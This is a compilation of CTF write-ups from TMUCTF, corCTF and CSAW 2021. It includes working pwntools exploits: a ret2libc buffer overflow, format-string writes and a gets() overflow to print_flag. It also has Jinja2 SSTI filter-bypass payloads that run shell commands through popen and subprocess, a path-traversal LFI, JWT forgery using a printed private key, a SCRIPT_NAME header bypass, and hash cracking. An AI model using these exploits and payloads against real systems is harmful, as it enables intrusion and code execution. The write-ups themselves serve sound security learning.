Private key :-----BEGIN RSA PRIVATE KEY-----MIICkAIBAAKBjgD//////////////////////////////////////////////////////////////////////////////////////3/////////////+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECAwEAAQKBjSp/1YAqf9WAKn/VgCp/1YAqf9WAKn/VgCp/1YAqf9WAKn/VgCp/1YAqf9WAKn/VgCp/1YAqf9WAKn/VgCp/1YAqVVWqqlVVqqpVVaoAVf+qAFX/qgBV/6oAVf+qAFX/qgBV/6oAVf+qAFX/qgBV/6oAVf+qAFX/qgBV/6oAVf+qAFX/qgBV/6oAVf+qAQJCAf//////////////////////////////////////////////////////////////////////////////////////Akx/////////////////////////////////////////////////////////////////////////////////////////////////////AkIBgIB/f4CAf3+AgH9/gIB/f4CAf3+AgH9/gIB/f4CAf3+AgH9/gIB/f4CAf3+AgH9/gIB/f4CAf3+AgH9/gIB/f38CTFVVqqpVVaqqVVWqqlVVqqpVVaqqVVWqqlVVqqpVVaqqVVWqqlVVqqpVVaqqVVWqqlVVqqpVVaqqVVWqqlVVqqpVVaqqVVWqqlVVqqkCQRCEIQhCEIQhCEIQQhCEIQhCEIQhCEEIQhCEIQhCEIQhBCEIQhCEIQhCEIQQhCEIQhCEIQhCEEIQhCEIQhCEIQhB-----END RSA PRIVATE KEY-----```
Use [JWT Debugger](https://jwt.io/#debugger-io) to decode the jwt, flip the values for sleep and danger, and sign it using the private key.
Copy the new jwt, and send it to flag using the header **Pill**.
```curl -s http://194.5.207.57:8080/flag -H "Pill: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTYzMTE2MzUwOSwianRpIjoiODIzY2EyNmItN2Q3Yi00MjcwLWE5OGItMDgxMDU0NGMzODA2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmlsIiwibmJmIjoxNjMxMTYzNTA5LCJleHAiOjE2MzExNjQ0MDksInNsZWVwIjoidHJ1ZSIsImRhbmdlciI6ImZhbHNlIn0.nhJEFkZLdlBn4PqRD8EuxPlzDEyIZGVkD1Nx9pmof_tp67RXRb6ie4UCvmMttmi6LTYtBIARiCy1E_fvfTBneKzckez8eaQihMfpxir0L1Sqw0e5qiDVETCywqZ66NCyEslWkkGG5L2spx0eBuXUXgOgrM82xv9YT8dSvaEn6snLLQjHmn0yHOFcDFiY"
Congratulations! Here is the flag: TMUCTF{0h_51nn3rm4n_Wh3r3_Y0u_60nn4_Run_70?}``` |
# Chainblock
After downloading the tar file, we untar it and we get some files:
The source code is:```c#include <stdio.h>
char* name = "Techlead";int balance = 100000000;
void verify() { char buf[255]; printf("Please enter your name: "); gets(buf);
if (strcmp(buf, name) != 0) { printf("KYC failed, wrong identity!\n"); return; }
printf("Hi %s!\n", name); printf("Your balance is %d chainblocks!\n", balance);}
int main() { setvbuf(stdout, NULL, _IONBF, 0);
printf(" ___ ___ ___ ___ \n"); printf(" /\\ \\ /\\__\\ /\\ \\ ___ /\\__\\ \n"); printf(" /::\\ \\ /:/ / /::\\ \\ /\\ \\ /::| | \n"); printf(" /:/\\:\\ \\ /:/__/ /:/\\:\\ \\ \\:\\ \\ /:|:| | \n"); printf(" /:/ \\:\\ \\ /::\\ \\ ___ /::\\~\\:\\ \\ /::\\__\\ /:/|:| |__ \n"); printf(" /:/__/ \\:\\__\\ /:/\\:\\ /\\__\\ /:/\\:\\ \\:\\__\\ __/:/\\/__/ /:/ |:| /\\__\\\n"); printf(" \\:\\ \\ \\/__/ \\/__\\:\\/:/ / \\/__\\:\\/:/ / /\\/:/ / \\/__|:|/:/ /\n"); printf(" \\:\\ \\ \\::/ / \\::/ / \\::/__/ |:/:/ / \n"); printf(" \\:\\ \\ /:/ / /:/ / \\:\\__\\ |::/ / \n"); printf(" \\:\\__\\ /:/ / /:/ / \\/__/ /:/ / \n"); printf(" \\/__/ \\/__/ \\/__/ \\/__/ \n"); printf(" ___ ___ ___ ___ ___ \n"); printf(" /\\ \\ /\\__\\ /\\ \\ /\\ \\ /\\__\\ \n"); printf(" /::\\ \\ /:/ / /::\\ \\ /::\\ \\ /:/ / \n"); printf(" /:/\\:\\ \\ /:/ / /:/\\:\\ \\ /:/\\:\\ \\ /:/__/ \n"); printf(" /::\\~\\:\\__\\ /:/ / /:/ \\:\\ \\ /:/ \\:\\ \\ /::\\__\\____ \n"); printf(" /:/\\:\\ \\:|__| /:/__/ /:/__/ \\:\\__\\ /:/__/ \\:\\__\\ /:/\\:::::\\__\\\n"); printf(" \\:\\~\\:\\/:/ / \\:\\ \\ \\:\\ \\ /:/ / \\:\\ \\ \\/__/ \\/_|:|~~|~ \n"); printf(" \\:\\ \\::/ / \\:\\ \\ \\:\\ /:/ / \\:\\ \\ |:| | \n"); printf(" \\:\\/:/ / \\:\\ \\ \\:\\/:/ / \\:\\ \\ |:| | \n"); printf(" \\::/__/ \\:\\__\\ \\::/ / \\:\\__\\ |:| | \n"); printf(" ~~ \\/__/ \\/__/ \\/__/ \\|__| \n"); printf("\n\n"); printf("----------------------------------------------------------------------------------"); printf("\n\n");
printf("Welcome to Chainblock, the world's most advanced chain of blocks.\n\n");
printf("Chainblock is a unique company that combines cutting edge cloud\n"); printf("technologies with high tech AI powered machine learning models\n"); printf("to create a unique chain of blocks that learns by itself!\n\n");
printf("Chainblock is also a highly secure platform that is unhackable by design.\n"); printf("We use advanced technologies like NX bits and anti-hacking machine learning models\n"); printf("to ensure that your money is safe and will always be safe!\n\n");
printf("----------------------------------------------------------------------------------"); printf("\n\n");
printf("For security reasons we require that you verify your identity.\n");
verify();}```
First of all we check what for file it is:
We can see its an 64 bit executable.
Secondly we see that we have an buffer overflow because of gets(). It takes 255 charachters in the buffer and gets() keeps on reading until it sees a newline charachter, so if we put more than the buffer, we will overflow it:
```c char buf[255]; printf("Please enter your name: "); gets(buf);```
Now with an buffer overflow, we are normally using shellcode to execute something on the stack but for this challenge as we can read from the binary:```"We use advanced technologies like NX bits and anti-hacking machine learning model"```We can check it with checksec:You can see NX is enabled:
NX is:
```Nx is short-hand for Non-Executable stack. What this means is that the stack region of memory is not executable. So if there is perfectly valid code there, you can't execute it due to it's permissions.```So we can't execute something on the stack. So what we need to do is ret2libc(return to libc) and execute a function from there.
## Exploit
### Offset
First of all we need to find the offset of the buffer overflow:
I will do this in gdb(I am using gef in gdb):
Create the pattern:
Run the program and enter you pattern:
We get an segmentation fault as you can see.
Now we can check the offset:
We found the offset at 264.
### libc base addres
Now we found the offset, we need to find the libc base address, so that we can use system("/bin/sh") from the libc.To find the address, we can do:
But as we can see here ASLR is enabled locally on my machine, so the address changing every time(we always assume ASLR is enabled on the remote):
ASLR is:```Address space layout randomization is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities.```So now we need to leak a function to calculate the base address, we need to do this because of ASLR.
A nice article how to bypass ASLR with pwntools:
https://codingvision.net/bypassing-aslr-dep-getting-shells-with-pwntools
So to bypass I first got the address of main, I use the main address, because ASLR randomizes the addresses when the program get executed. So if we call main, it jumps back to the start of the program and run it without re-randomization.
To get the address of main:```gdb ./chainblockdisas main and take the first addresss or you can do: b *main and take the addresss```Now we need to leak a function. I leaked the puts() function.First we need the `puts@GOT` addresss:
then `puts@plt`:
For more information why plt and got, check the article above.
Now because this is an 64 bit executable, we need to use a ROP gadget. In 64-bit binaries, function parameters are passed in registers. The first six parameters are passed in registers RDI, RSI, RDX, RCX, R8, and R9. The calling convention states that the first parameter of a method must be placed in the RDI register.
So we need to find `POP RDI; RET` gadget. We can find gadgets with `ROPgadget`:
```ROPgadget --binary chainblock```we find:```0x0000000000401493 : pop rdi ; ret```So now we can make the exploit to leak the puts() address:
```py#!/usr/bin/env python3from pwn import *
p = process('./chainblock')p.recvuntil('name: ')
main_addresss = 0x40124bputs_got_address = 0x404018puts_plt_addresss = 0x401080pop_rdi = 0x401493
payload = b'A' * 264 payload += p64(pop_rdi) payload += p64(puts_got_address) payload += p64(puts_plt_addresss) payload += p64(main_addresss)
print(p.sendline(payload))print(p.recvline())
leaked_output = p.recvline()leaked_output = leaked_output[:-1]print('leaked puts() addresss', leaked_output)```And we leaked the puts() address. Now we can calculate the libc base address:
```pyputs = u64((leaked_output + b"\x00\x00")[:8])libc_addresss = puts - libc.symbols['puts']print("libc_addresss: ", hex(libc_addresss))```We add 2 bytes because unpack requires 8 bytes.
So now we have the base address, we can exploit it to get a shell.
### Shell
Now we need to find the address of system and /bin/sh:
So now we got the addresses, we need to add this to the base address of libc to get the location.Now we have almost everything. We need an extra ROP gadget, because of stack alignment.
I added the `ret` gadget:```0x000000000040101a : ret```So our final script(flag.py) will be like this:
```py#!/usr/bin/env python3from pwn import *
local = Falseelf = ELF('./chainblock')
if local: p = elf.process() libc = ELF('./libc.so.6')else: host = 'pwn.be.ax' port = 5000 p = remote(host, port) libc = ELF('./libc.so.6')
p.recvuntil('name: ')
main_adress = 0x40124bputs_got_address = 0x404018puts_plt_adress = 0x401080pop_rdi = 0x401493
payload = b'A' * 264 payload += p64(pop_rdi) payload += p64(puts_got_address) payload += p64(puts_plt_adress) payload += p64(main_adress)
print(p.sendline(payload))print(p.recvline())leaked_output = p.recvline()[:-1]print('leaked puts() adress: ', leaked_output)
puts = u64((leaked_output + b"\x00\x00"))libc_adress = puts - libc.symbols['puts']print("libc_adress: ", hex(libc_adress))
system = libc_adress + 0x04fa60bin_sh = libc_adress + 0x1abf05pop_rdi = 0x401493ret = 0x40101a
payload = b'A' * 264 payload += p64(pop_rdi)payload += p64(bin_sh)payload += p64(ret)payload += p64(system)
p.clean()p.sendline(payload)p.interactive()```
Now we can grab the flag:
Flag:
corctf{mi11i0nt0k3n_1s_n0t_a_scam_r1ght} |
# Sonicgraphy Fallout

1) We are given a zip file with 40 files, all pictures. all .jpg or .png. one of them has a hidden video.
2) `unzip Fallout_-New_Mobius.zip`
3) use zsteg on all of them to look for hidden files `zsteg *`

4) We see an .mp4 file in Page 7 at offset 0x158d89 and size 4320060
5) remove it with dd - `dd bs=1 skip=1412489 count=4320060 if=Page\ 7.png of=video` - `bs=1` byte size 1 (1 byte at a time) - `skip=1412489` skip to the specified offset 0x158d89 (dd takes decimals) - `count=4320060` extract that many bytes - `if=Page\ 7.png` input file is "Page 7.png" - `of=video` output to a file named video
6) open it with a media player
 |
# A Pain in the BAC(net)

1) given a .pcap file, look through the sensors and find the one with some anamalous data
2) open the .pcap in wireshark and look around.
3) the question specifies we are looking for an "analog sensor". - looking in wiresharks display filters we can filter for the values of these sensors with `bacapp.present_value.real`
4) Now we only see a small 160 packet capture of each of the 8 sensors. They vary in measurements from KG, Lumens, Liters, etc - looking at packets one by one, most values of a single sensor don't change by more than +-10%. however the one measuring lumens jumps from ~1400 lumens to 9999 at packet 2033
5) this sensor is named "Sensor_12345". `flag{Sensor_12345}`
 |
# Crack Me

1) pretty straightforward, just crack the hash provided using a known salt.
2) find the salt - input the hash into an [online hash analyzer](https://www.tunnelsup.com/hash-analyzer/) -  - salt is `sha256`
### crack the hash with John the Ripper1) `john --list=subformats | grep sha256` -  - we will be using `dynamic_61`
2) `echo "username:a60458d2180258d47d7f7bef5236b33e86711ac926518ca4545ebf24cdc0b76c$sha256" > crack.txt`
3) `john --format=dynamic_61 --wordlist=/usr/share/wordlists/rockyou.txt crack.txt`

4) password is `cathouse` |
# Poem Collection

1) following the link takes us to a site with a link to directory `/poems`
2) 
3) clicking a poem changes the URL to the file we chose. -  - what happens if we change it the poem argument to `flag.txt`?
4) `web.chal.csaw.io:5003/poems/?poem=flag.txt` - gives error of file not found
5) lets try the next directory up `../flag.txt`

- We got the Flag! `flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}` |
Original: https://infosecstreams.github.io/csaw21/welcome/
# Welcome
Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/welcome/)
----
```textWelcome to the competition! Please go ahead and join our Discord to get the flag! https://discord.gg/Zj2H6EaAkZ```
## Get on Discord and Get the Flag :)

## Victory
Submit the flag and claim the points:
**flag{W3Lcom3_7o_CS4w_D1ScoRD}** |
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/alien-math/)
# Alien Math
Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo) solved by [jrozner](https://github.com/jrozner)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/alien-math/)
----
```textBrush off your Flirbgarple textbooks!
nc pwn.chal.csaw.io 5004```
## Creating and Using the Exploit
Used pwntools to create an exploit script and use it.
```shell#!/usr/bin/env pythonfrom pwn import *
# Set up pwntools for the correct architecturecontext.update(arch='amd64')context.terminal = ['tmux', 'splitw', '-h']exe = './alien_math'
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLRdef start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('pwn.chal.csaw.io', 5004) else: return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''break * 0x004012decontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================io = start()io.sendlineafter('zopnol?\n', " 1804289383")io.sendlineafter('qorbnorbf?\n', b'7856445899213065428791')io.sendlineafter('salwzoblrs?\n', b'A'*24 + p64(0x4014fb))io.interactive()
```
## Victory
Submit the flag and claim the points:
**flag{w3fL15n1Rx!_y0u_r34lLy_4R3_@_fL1rBg@rpL3_m4573R!}** |
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/lazy-leaks/)# Lazy Leaks
Writeup by: [SinDaRemedy](https://github.com/sindaremedy)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/lazy-leaks/)
----
```textSomeone at a company was supposedly using an unsecured communication channel. A dump of company communications was created to find any sensitive info leaks. See if you can find anything suspicious or concerning.```
## You Get a String! And You Get a String!
Downloading the [`Lazy_Leaks.pcapng`](./Lazy_Leaks.pcapng) file searched the file for strings then grepped for flag in the string.
```bash$ strings Lazy_Leaks.pcapng | grep flag1)flag{T00_L@ZY_4_$3CUR1TY}```
## Victory
Submit the flag and claim the points:
**flag{T00_L@ZY_4_$3CUR1TY}** |
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/haySTACK/)
# haySTACK
Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo) solved by [jrozner](https://github.com/jrozner)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/haystack/)
----
```textHelp! I've lost my favorite needle!
nc pwn.chal.csaw.io 5002```
## Initial Research
Words about the binary and the exploit.
```bash$ echo 'thingz'thingz```
## Exploit Script
```python#!/usr/bin/env pythonfrom pwn import *from math import floorfrom ctypes import CDLL
# Set up pwntools for the correct architecturecontext.update(arch='amd64')context.terminal = ['tmux', 'splitw', '-h']exe = './haystack'
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('pwn.chal.csaw.io', 5002) else: return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================
io = start()
libc = CDLL("libc.so.6")now = int(floor(time.time()))libc.srand(now)
guess = libc.rand() % 0x100000
io.sendlineafter('Which haystack do you want to check?\n', '{}'.format(guess))
io.interactive()```
## Victory
Save and run the exploit.
Submit the flag and claim the points:
**flag{4lw4YS_r3m3mB3R_2_ch3CK_UR_st4cks}** |
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/weak-password/)
# Weak Password
Writeup by: [OreoByte](https://github.com/OreoByte)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/weak-password/)
----
```textCan you crack Aaron’s password hash? He seems to like simple passwords. I’m sure he’ll use his name and birthday in it. Hint: Aaron writes important dates as YYYYMMDD rather than YYYY-MM-DD or any other special character separator. Once you crack the password, prepend it with flag{ and append it with } to submit the flag with our standard format. Hash: 7f4986da7d7b52fa81f98278e6ec9dcb.```
## Scripting it Out with ? and Bash #
First we create the dates part of the wordlist with a ? script. Then use some bash and sed-foo to further modify the dates file `mdy` with name and special characters.
```python#!/usr/bin/python3# month/day/yearfrom datetime import date, timedeltasdate = date(1900,1,1)edate = date(2022,1,1)delta = edate -sdate
for i in range(delta.days + 1): day = sdate + timedelta(days=i) #print(day.month,day.day,day.year) print(''.join([str(day.year), str(day.month), str(day.day)]))```
```bashpython solve.py > mdy
#!/bin/bashsed -e 's/^/Aaron/' mdy > cap_user_datesed -e 's/^/aaron/' mdy >> cap_user_datesed -e 's/$/aaron/' mdy >> cap_user_datesed -e 's/$/Aaron/' mdy >> cap_user_datesed -e 's/^/Aaron /' mdy >> cap_user_datesed -e 's/$/Aaron /' mdy >> cap_user_date
# special charscp cap_user_date final.lstsed -e 's/$/!/' cap_user_date >> final.lstsed -e 's/$/@/' cap_user_date >> final.lstsed -e 's/$/#/' cap_user_date >> final.lstsed -e 's/$/$/' cap_user_date >> final.lstsed -e 's/$/%/' cap_user_date >> final.lstsed -e 's/$/^/' cap_user_date >> final.lstsed -e 's/$/&/' cap_user_date >> final.lstsed -e 's/$/*/' cap_user_date >> final.lstfor i in {0..9}; do sed -e 's/$/$i/' cap_user_date >> final.lst; done```
## Let's Get Crackin'
User hashid to identify the hash and then we can crack it with hashcat and the custom wordlist we just previously generated and a Hashcat rule to expand the wordlist a bit.
`hashid -m 7f4986da7d7b52fa81f98278e6ec9dcb`OR[Hash Analyzer](https://www.tunnelsup.com/hash-analyzer)
```shell$ hashcat 7f4986da7d7b52fa81f98278e6ec9dcb final.lst -r OneRuleToRuleThemAll.rule$ hashcat 7f4986da7d7b52fa81f98278e6ec9dcb final.lst -r OneRuleToRuleThemAll.rule --show7f4986da7d7b52fa81f98278e6ec9dcb:Aaron19800321```
## Victory
Submit the flag and claim the points:
**flag{Aaron19800321}** |
The goal of this challenge is to call the print_flag function which opens the flag.txt file on the remote server. In order to call the print_flag function you have to answer two questions correctly to get to the vulnerable `gets` function in `final_question`.While the first and second questions do not have b0f vulnerable functions they have poor implementations of rand() that enable you to bypass the checks in order to get to the vulnerable function.
Main takes user input from `__isoc99_scanf` and string formats it to a decimal number. Then `rand()` is called with a default seed and compared against the user input. This is not a secure function and can is easily predicted. This funciton will always return the same result on the first iteration based on your version of libc if given a default seed. Since we have to bypass this check we have two options; to either have python generate the value or pull it from memory. I chose to pull the value from GDB.
`b *main+103` to stop at ` 0x00000000004015f5 <+103>: cmp QWORD PTR [rbp-0x8],rax`
`$rax` is compared to `$rbp-0x8` so we examine this offset on the stack: `x/gx $rbp-0x8` and we get `0x7fffffffdcf8: 0x000000006b8b4567` or 1804289383 in decimal.
```cint main(void)
{ int tmp_rand; char q2_buf [36]; int q1_buf; long val_rand; puts("\n==== Flirbgarple Math Pop Quiz ===="); puts("=== Make an A to receive a flag! ===\n"); puts("What is the square root of zopnol?"); fflush(stdout); __isoc99_scanf(" %d",&q1_buf); tmp_rand = rand(); val_rand = (long)tmp_rand; if (val_rand == q1_buf) { puts("Correct!\n"); fflush(stdout); getchar(); puts("How many tewgrunbs are in a qorbnorbf?"); fflush(stdout); __isoc99_scanf("%24s",q2_buf); second_question(q2_buf); } else { puts("Incorrect. That\'s an F for you!"); } return 0;}```
After this `__isoc99_scanf` is called again and our input is formated to a max of 24 characters as a string. Our input is then put passed into the `second_question` function
Next some funky values are placed on the stack and our input is sent through a convulated transformation. ```cvoid second_question(char *user_input)
{ int y; size_t len_var_to_match; ulong uVar1; undefined8 var_to_match; undefined8 unused1; undefined8 unused2; int index; char x; index = 0; while( true ) { uVar1 = SEXT48(index); len_var_to_match = strlen(user_input); if (len_var_to_match - 1 <= uVar1) { var_to_match = 3762247539570849591; unused1 = 0x3332333535323538; unused2 = 0x353232393232; len_var_to_match = strlen((char *)&var_to_match); y = strncmp((char *)&var_to_match,user_input,len_var_to_match); if (y == 0) { puts("Genius! One question left...\n"); final_question(); puts("Not quite. Double check your calculations.\nYou made a B. So close!\n"); } else { puts("You get a C. No flag this time.\n"); } return; } if ((user_input[index] < '0') || ('9' < user_input[index])) break; x = user_input[(long)index + 1]; y = second_question_function((int)user_input[index],user_input[index] + index); y = x + -48 + y; user_input[(long)index + 1] = (char)y + (char)(y / 10) * -10 + '0'; index = index + 1; } puts("Xolplsmorp! Invalid input!\n"); puts("You get a C. No flag this time.\n"); return;}```The transformation is compared against a static value of 7759406485255323229225. We can pull this value from memory:
`b *second_question+358` then give some input and continue and `x/gx $rdi` which yields 7759406485255323229225.
Again we have two options; we can either model the function in python and use [Microsoft's z3 utilities to create the acceptable input](https://github.com/CR15PR/CSAW2021/blob/main/pwn/Alien_math/z3_Solver.py) or [brute force the key](https://github.com/CR15PR/CSAW2021/blob/main/pwn/Alien_math/brute_force.py) character by character since the same input will always produce the same output.
User input is stored in `$rsi` so using this breakpoint you can character by character observe the changes to yield the correct result:
7 - 7 78 - 77 785 - 775 7856 - 7759 78564 - 77594 785644 - 775940 7856445 - 7759406 78564458 - 77594064 785644589 - 775940648 7856445899 - 7759406485 78564458992 - 77594064852 785644589921 - 775940648525 7856445899213 - 7759406485255 78564458992130 - 77594064852553 785644589921306 - 775940648525532 7856445899213065 - 7759406485255323 78564458992130654 - 77594064852553232 785644589921306542 - 775940648525532322 7856445899213065428 - 7759406485255323229 78564458992130654287 - 77594064852553232292 785644589921306542879 - 775940648525532322922 7856445899213065428791 - 7759406485255323229225
We can confirm our correct value again at `second_question+358`:

After this `final_question` is called and we find the vulnerable `gets` fucntion. This is a standard b0f that allows us to control `$rip` in order to call the `print_flag` function.
Using `! python3 -c "import pwn; print(pwn.cyclic(100, n=8))" > cyclic` we determine the offset to get a SIGSEV is 24. We use pwntools amazing abstraction ability to find the location of the print_flag symbol and pack it little endien compliant: `printFlag = p64(math_elf.symbols.print_flag)`.
We then send our [payload](https://github.com/CR15PR/CSAW2021/blob/main/pwn/Alien_math/solver.py) and get our flag.
```python#!/usr/bin/env python3
from pwn import *
LOCAL = Falsecontext.binary = binary = '/home/mckenziepepper/Documents/b0f-chals/CSAW/alien_math'math_elf = ELF(binary)context.log_level = 'debug'printFlag = p64(math_elf.symbols.print_flag)OFFSET = 24junk = b"A" * OFFSET
if LOCAL == False: p = remote('pwn.chal.csaw.io', 5004, ssl=False)else: p = process('/home/mckenziepepper/Documents/b0f-chals/CSAW/alien_math')
guess1 = b"1804289383"p.sendlineafter("What is the square root of zopnol?", guess1)leak = p.recvuntil("!\n")log.info(f"{leak = }")
if b"Correct!\n" in leak: guess2 = b"7856445899213065428791" #------> What we want to make: 7759406485255323229225 p.sendlineafter("How many tewgrunbs are in a qorbnorbf?", guess2) #leak = p.recvuntil("You get a C. No flag this time.\n") ------> Debugging purposes leak = p.recvuntil("Genius! One question left...\n") log.info(f"{leak = }")
if b"\nGenius!" in leak: payload = [ junk, printFlag, ] payload = b''.join(payload) #payload = b''.join([p64(r) for r in payload]) p.sendline(payload) p.interactive() else: p.kill()else: p.kill()```
Here is your flag: flag{w3fL15n1Rx!_y0u_r34lLy4R3@_fL1rBg@rpL3_m4573R!} |
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/ninja/)
# Ninja
Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo) and solved by [jrozner](https://github.com/jrozner)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/ninja/)
----
```textHey guys come checkout this website i made to test my ninja-coding skills.
http://web.chal.csaw.io:5000```
## Initial Research
There's an input box and after a few seconds of playing with input we find that we have Server `Side Template Injection (SSTI)`.
We entered:
```jinja2{{7*'5ev3n!+'}}```

## Finding the Right SSTI Payload
There's some filters on the server-side that seem to be filtering some of the payload so we need to bypass it with some special techniques.
You can find great examples and help at the [Filter Bypass section of the PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2---filter-bypass):
```python{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fim'+'port\x5f\x5f')('o'+'s')|attr('popen')('cat flag.txt')|attr('read')()}}```
We should URL encode that and then send it off. In this example I used [Zeds Attack Proxy](https://www.zaproxy.org/).

## Victory
Submit the flag and claim the points:
**flag{m0mmy_s33_1m_4_r34l_n1nj4}** |
# my first challenge of OSNIT
for OSNIT , osintframework is the basic

i have gmail : [email protected]
# Send mail
i send mail to his and recieve his mail

full picture

# search with image## yandexi found some picture similar and i know that Parco della Resistenza dell'VIII Settembre

## google

i have latitude and longitude
oke finish
|
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/poem-collection/)
# Poem Collection
Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo) and solved by [Joe](https://github.com/ghost).
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/poem-collection/)
----
```textHey! I made a cool website that shows off my favorite poems. See if you can find flag.txt somewhere!
http://web.chal.csaw.io:5003```
----
## Poems :)
We find a page offering us some poetry.

----
## PHP Errors?
If we browse to the page it throws a PHP error already -- clearly a `Filename` was not provivded!
```phpWarning: file_get_contents(): Filename cannot be empty in /var/www/html/poems/index.php on line 4```

----
## Choose a Poem
If we choose a poem the error goes away and a poem is displayed. We also notice a GET parameter named `poem` is populated in the url and is pointing to a file.
`?poem=poem2.txt`

----
## Victory
We can change this to ask for the flag:
`?poem=../flag.txt`

Submit the flag and claim the points:
**flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}** |
```pythonfrom pwn import *
flag = ''
# We will hit program for 30 iterations (just a number to get all available characters in flag)# And in each try will change offset of getting flag value.for i in range(30):
# First we will connect to program using pwntools methods. # r = process("./securitycode") r = remote('185.97.118.167', 7040)
# First Send A to be forwarded to hello_admin r.recvuntil("Enter 'A' for admin and 'U' for user.") r.sendline('A')
# Value to overwrite is: xABADCAFE # ABAD: 43949 # CAFE: 51966 # So we need to first write this value in location of security_code address, # But cause it's more than two bytes, we will try to write two times in our format string payload. # cause CAFE is of a higher value we should first write it in location 15 from stack r.recvuntil('Enter you name:') payload = '\x3e\xc0\x04\x08\x3c\xc0\x04\x08%43941x%15$hn%8017x%16$hn' r.sendline(payload)
# Now try to read of the flag step by step r.recvuntil('Enter your password:') payload = '%{}$x'.format(i) r.sendline(payload)
x = r.recvline() x += r.recvline() x += r.recvline() x = x.replace('The password is ', '').strip() # it's just a method i used, it's not very clean, but got me the flag :)! try: flag += bytearray.fromhex(x).decode()[::-1] except: pass
print(flag)```
[Original Writeup with more details](https://github.com/Execut3/CTF-WriteUps/tree/master/2021/TMUCTF/Pwn/Security%20Code) |
[Original writeup](https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-gatekeeping) https://github.com/DauHoangTai/CTF/blob/master/2021/CsawCTF/README.md#challenge-gatekeeping |
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/checker/)
# checker
Writeup by: [GoProSlowYo](https://github.com/GoProSlowYo) solved by [Perryman](https://github.com/ghost)
Team: [OnlyFeet](https://ctftime.org/team/144644)
Writeup URL: [GitHub](https://infosecstreams.github.io/csaw21/checker/)
----
```textWhat's up with all the zeros and ones? Where are my letters and numbers? (This is a reversing challenge.)```
----
## Initial Research
This one is extremely straightforward and they literally tell us: `(This is a reversing challenge.)`.
For this challenge you can work backwards through the provided python code and function calls to end up with the flag ultimately.
## Decode then `encode`
The main function calls an `encode` function on the `flag`:
`encoded = encode(flag)`.
If we look at the encode function we see it's setting `d = 24` then it's calling `x = up(input)`, `x = right(x,d)`, `x = down(x)`, `x = left(x,d)` and then returns `x`.
```pythondef encode(plain): d = 24 x = up(plain) x = right(x,d) x = down(x) x = left(x,d) return x```
We need to take the encoded string and run backwards through main and each function.
----
## Victory
Submit the flag and claim the points:
**flag{r3vers!nG_w@rm_Up}** |
## Challenge ninjaFilter: `- _ ,config ,os, RUNCMD, base`
Payload:```{{''[request.args.a][request.args.b][2][request.args.c]()[258]('cat+flag.txt',shell%3dTrue,stdout%3d-1).communicate()[0].strip()}}&a=__class__&b=__mro__&c=__subclasses__```Flag -> `flag{m0mmy_s33_1m_4_r34l_n1nj4}`
## Challenge Gatekeeping
Sep 1: Upload file `flag.txt.enc` to get `key_id`
key_id = 05d1dc92ce82cc09d9d7ff1ac9d5611d
Step 2: bypass 403 `/admin/key` to get key
Payload```GET /taidh/admin/key HTTP/1.1key_id: 05d1dc92ce82cc09d9d7ff1ac9d5611dSCRIPT_NAME: taidh...```key = `b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3`
Explain: whenever request, nginx send this request to gunicorn. In gunicorn, when set `SCRIPT_NAME` it will append the path.SCRIPT_NAME execute when `underscores_in_headers on`.
